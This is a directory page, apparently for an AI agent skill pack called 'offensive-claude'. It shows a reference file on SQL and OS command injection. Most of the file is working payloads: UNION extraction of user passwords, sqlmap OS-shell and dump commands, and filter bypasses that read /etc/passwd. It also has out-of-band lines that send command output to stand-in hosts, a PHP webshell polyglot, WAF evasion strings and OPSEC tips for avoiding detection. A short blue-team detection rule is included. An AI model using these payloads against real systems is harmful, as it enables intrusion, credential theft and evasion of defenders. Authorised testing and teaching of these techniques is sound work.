hypnguyen1209/offensive-claude / skills/web-pentest
web-pentest
FlaggedUse when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 12.0 KB |
| references/auth-api-access-control.md | markdown | 14.9 KB |
| references/business-logic-abuse.md | markdown | 5.2 KB |
| references/http-desync-cache.md | markdown | 8.6 KB |
| references/injection-sqli-cmdi.md | markdown | 10.0 KB |
| references/proxy-mcp-integration.md | markdown | 3.1 KB |
| references/ssrf-cloud-metadata.md | markdown | 6.7 KB |
| references/ssti-deserialization.md | markdown | 7.0 KB |
| references/waf-bypass.md | markdown | 7.0 KB |
| references/xss-csp-clientside.md | markdown | 7.9 KB |
| references/xxe.md | markdown | 6.9 KB |
| scripts/desync_probe.py | script | 8.3 KB |
| scripts/graphql_audit.py | script | 6.2 KB |
| scripts/jwt_forge.py | script | 8.2 KB |
| scripts/proto_ssti_gadgets.py | script | 8.1 KB |
| scripts/race_single_packet.py | script | 5.4 KB |
| scripts/session_entropy.py | script | 7.9 KB |
| scripts/ssrf_toolkit.py | script | 8.3 KB |
| scripts/xss_csp_forge.py | script | 8.1 KB |
references/injection-sqli-cmdi.md
View on GitHub# Injection: SQL Injection & OS Command Injection
Cluster: classic but still top-impact injection — SQLi (CWE-89) and OS command
injection (CWE-78). Covers detection, extraction, blind/OOB, and 2024-2026 WAF
evasion. Backing tool: `sqlmap` plus repo helpers.
## Theory / Mechanism
Injection occurs when untrusted input is concatenated into an interpreter string
(SQL query, shell command) without parameterisation. The interpreter executes
attacker-controlled syntax. SQLi maps to CWE-89; OS command injection to CWE-78;
both fall under MITRE **T1190 Exploit Public-Facing Application**. Modern apps
are mostly parameterised, so the live surface is now: ORMs with raw escape
hatches, dynamic `ORDER BY`/identifier injection, NoSQL operator injection, and
second-order injection (stored then executed later).
## SQL Injection
### Detection (context-aware)
```
# String context
' '' ' OR '1'='1 ' AND '1'='2
# Numeric context
1 OR 1=1 1 AND 1=2
# Time-based blind (DBMS-specific)
' OR SLEEP(5)-- - # MySQL
'; WAITFOR DELAY '0:0:5'-- - # MSSQL
' || pg_sleep(5)-- - # PostgreSQL
' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- - # Oracle
# Error-based
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))-- - # MySQL
' AND 1=CONVERT(int,(SELECT @@version))-- - # MSSQL
```
### UNION extraction
```sql
' ORDER BY 1-- - -- increment until error == column count
' UNION SELECT NULL,version(),NULL-- -
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users-- -
```
### Automated (sqlmap)
```bash
sqlmap -u "https://t/page?id=1" --batch --dbs --level 3 --risk 2
sqlmap -r request.txt --batch --dbs --tamper=between,randomcase,space2comment
sqlmap -u "URL" --os-shell --batch # stacked-query OS shell
sqlmap -r req.txt --technique=T --time-sec=3 --batch --dump -T users
# Header / JSON injection point
sqlmap -r req.txt --batch -p "X-Forwarded-For" # test a specific param/header
```
### NoSQL operator injection (MongoDB)
```json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$regex": "^a"}} // blind char-by-char
{"$where": "sleep(5000)"} // time-based
```
## OS Command Injection
### Payloads
```bash
; id | whoami $(whoami) `id` %0aid &&id ||id
```
### Blind / OOB (no output reflected)
```bash
; sleep 5 # time-based
; curl http://atk/$(id|base64) # HTTP exfil
; nslookup `whoami`.atk.oast.fun # DNS exfil
; ping -c1 $(whoami).atk.oast.fun
```
### Filter / space bypass
```bash
{cat,/etc/passwd} # brace expansion (no spaces)
cat</etc/passwd # redirection instead of space
cat$IFS$9/etc/passwd # $IFS for space
w"h"o"a"mi w\h\o\a\mi # quote/backslash insertion
$'\x77\x68\x6f\x61\x6d\x69' # ANSI-C hex
/???/??t /???/??ss?? * # glob wildcards -> /bin/cat /etc/passwd
echo aWQK|base64 -d|sh # base64 staging
```
## HTTP Parameter Pollution (HPP)
Supplying the **same parameter more than once**; servers disagree on which copy wins, so you bypass
validation/WAF, override a server-set value, or inject into a downstream request. CWE-235 (improper
handling of extra parameters) / CWE-88 (argument injection downstream).
| Stack | `?a=1&a=2` resolves to |
|-------|------------------------|
| PHP / Apache | last (`2`) |
| ASP.NET | both, comma-joined (`1,2`) |
| JSP / Tomcat | first (`1`) |
| Express / Node | array (`['1','2']`) |
| Python (Flask/Django) | first (`1`) via `.get()` (both available) |
```
?role=user&role=admin # override a server-trusted param on a last-wins stack
?q=UNION&q=SELECT%20... # split a WAF-blocked keyword across duplicates (concat/array stacks)
?amount=1&amount=1000 # value confusion where the validator reads one copy, the sink another
```
Test the **client-vs-server parsing divergence** (validator sees copy A, the dangerous sink reads copy B),
and HPP into a server-side outbound request (feeds SSRF/`ssrf-cloud-metadata.md`). Detection: canonicalize
inputs, reject duplicate params, log them.
## File-Upload Abuse -> webshell / RCE
CWE-434 (unrestricted upload of file with dangerous type). Two questions decide impact: **can I upload an
executable/handler-triggering file**, and **where does it land + is it served/executed?**
- **Type-check bypass:** double extension (`shell.php.jpg`), alternate handlers (`.phtml`, `.phar`,
`.pHp`), trailing dot/space/`%00` null on legacy stacks, MIME spoof, magic-byte polyglot
(`GIF89a;<?php system($_GET[0]);?>`), or `.htaccess`/`web.config` upload to *redefine* how a benign
extension is executed.
- **Non-exec but still dangerous:** SVG → stored XSS; XML → XXE (`ssti-deserialization.md`); archive →
**zip-slip** path traversal / overwrite; image-lib parsing → ImageTragick / Ghostscript RCE.
- **Evidence bar:** `[CONFIRMED]` = command output from the uploaded shell or an OOB callback you
triggered — **not** "upload accepted / 200". Track and remove any shell you drop (see OPSEC).
Detection/mitigation: validate by content + magic bytes, **re-encode** images, store outside the web root
with random names and execution disabled, never trust client extension/MIME.
## Modern 2024-2026 Variants
- **ORM raw-fragment SQLi** remains common where developers drop to
`.raw()`/`whereRaw()`/string-built `ORDER BY`. Identifier/`ORDER BY` context
cannot use placeholders, so it is a recurring injection point even in
"parameterised" codebases (class-level; CWE-89).
- **Argument injection -> command injection**: when user input is passed as
*arguments* to a binary (not a shell), attackers smuggle extra flags. Examples
in this class include git/`--upload-pack`, `find -exec`, `tar --checkpoint-action`,
and curl `-o`/`-K` to write files. This is the dominant modern variant because
many apps avoid `shell:true` but still concatenate argv. (CWE-88 -> CWE-78).
- **Second-order SQLi** in analytics/reporting pipelines: input stored safely,
later concatenated into a dynamic report query.
- WAF-evasion tooling: sqlmap tamper scripts remain the practical baseline; the
2024-2026 trend is JSON-based and Unicode-normalisation bypasses (overlong
UTF-8, full-width characters that normalise server-side). See `references/waf-bypass.md` for the
cross-cutting WAF bypass methodology.
- **Lambda/serverless connection-pool poisoning:** `SET ROLE` (or `SET search_path`, `SET SESSION`)
persists across Lambda invocations when the DB connection is reused from the pool; an injectable
`SET ROLE '${event.role}'` poisons every subsequent invocation on that connection. CWE-665.
- **ORM CVE table (verified):**
| ORM | CVE | Pattern |
|-----|-----|---------|
| Sequelize | CVE-2023-22578 | `sequelize.literal(\`name='${input}'\`)` |
| TypeORM <0.3.12 | findOne injection | `repository.findOne({ where: \`id=${id}\` })` |
| Prisma <4.11 | raw query | `prisma.$executeRawUnsafe(...)` |
- **Neo4j Cypher injection (CVE-2024-34517):** `MATCH (u:User) WHERE u.name='admin' OR 1=1 //--'
RETURN u` — privilege escalation via IMMUTABLE procedures in Neo4j 5.x (<5.18) / 4.x (<4.4.26).
- **JSON operator probes (modern DBMS):** `id=1 AND JSON_EXTRACT('{"a":1}','$.a')=1` (MySQL),
`id=1 AND '{"a":1}'::jsonb ? 'a'` (PostgreSQL) — JSON functions not always in WAF rule sets.
- **WebSocket delivery:** `ws.send('{"action":"search","query":"test\\' OR 1=1--"}')` — WAFs that
only inspect HTTP request/response miss WebSocket message bodies.
### SQLi WAF Evasion
```
%27%20OR%20%271%27%3D%271 # URL encode
' uNiOn SeLeCt NULL,version(),NULL-- - # case alternation
UN/**/ION SE/**/LECT NULL,version(),NULL-- - # inline comments
/*!50000UNION*/ /*!50000SELECT*/ # MySQL versioned comments
'+UNION+ALL+SELECT+... # plus instead of space
union%a0select # %a0 / vertical tab as ws
%EF%BC%87 OR 1=1 # full-width apostrophe -> normalises to '
{"id":{"$gt":""}} # JSON body bypasses regex WAFs on query string
```
## Detection (Blue Team)
IOCs: SQL keywords/quotes in parameters, `information_schema`, `SLEEP/WAITFOR/pg_sleep`,
base64+`sh`/`bash`, OOB DNS to random subdomains, abnormal app->DB latency, child
shell processes from web service accounts.
```yaml
title: Possible SQLi / Command Injection in Web Parameters
logsource: { category: webserver }
detection:
sqli:
cs-uri-query|re: '(?i)(union\s+(all\s+)?select|information_schema|sleep\(|waitfor\s+delay|pg_sleep|extractvalue\()'
cmdi:
cs-uri-query|re: '(?i)(;|\||`|\$\(|%0a)\s*(id|whoami|cat\s|curl\s|wget\s|nslookup|ping\s)'
condition: sqli or cmdi
level: high
```
EDR: web service account (`www-data`, `IIS APPPOOL`) spawning `sh -c`, `cmd.exe`,
`bash`, `curl`, `nslookup` is a high-fidelity command-injection signal
(ATT&CK T1059). Map DB-side: long-running queries, repeated time-delay functions.
## OPSEC
- Time-based blind is noisy (latency spikes logged) and slow; prefer error/UNION
when reflected, OOB when blind but egress allowed.
- sqlmap default UA/`--threads` are loud; set `--random-agent`, `--delay`,
`--safe-url`, and cap `--threads 1-2` against monitored targets.
- OOB exfil via DNS leaves resolver logs; rotate collaborator subdomains.
- Command injection that spawns shells is heavily EDR-monitored; prefer in-band
data reads (file reads via SQLi `LOAD_FILE`/`pg_read_file`) before dropping to OS.
- Cleanup: stacked-query writes (web shells via `INTO OUTFILE`) leave files —
track and remove; avoid writing to web root if persistence is not in scope.
## References
- PortSwigger Web Security Academy — SQL injection / OS command injection.
- OWASP Testing Guide v4.2 — Injection testing.
- sqlmap tamper-script documentation (github.com/sqlmapproject/sqlmap).
- HackTricks — Command Injection / Argument Injection.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |